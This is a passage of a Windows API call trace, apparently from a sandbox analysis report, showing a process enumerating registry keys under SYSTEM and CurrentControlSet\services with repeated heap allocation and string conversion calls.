returned 1 [0250.639] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.639] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0250.639] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.639] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0250.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.640] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.640] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.640] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.640] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0250.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0250.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.640] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.640] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.640] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.640] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0250.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0250.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.640] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.640] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.640] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.640] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0250.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0250.640] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.640] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.640] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.640] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.640] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0250.641] RegCloseKey (hKey=0xc4) returned 0x0 [0250.641] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0250.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0250.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.641] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0250.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0250.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.641] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.641] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0250.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0250.641] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.642] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0250.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0250.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.642] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0250.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0250.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.642] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0250.642] RegCloseKey (hKey=0x14c) returned 0x0 [0250.642] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0250.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0250.642] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.642] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0250.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0250.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1d60, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0250.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0250.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0250.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f18e0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0250.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0250.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0250.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1d60, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0250.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.643] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.643] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0250.643] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0250.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f18e0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0250.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0250.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0250.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1d60, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0250.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0250.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0250.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.644] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0250.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0250.644] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.644] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.645] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0250.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0250.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.645] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0250.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0250.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.645] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0250.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0250.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f18e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0250.645] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.645] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, 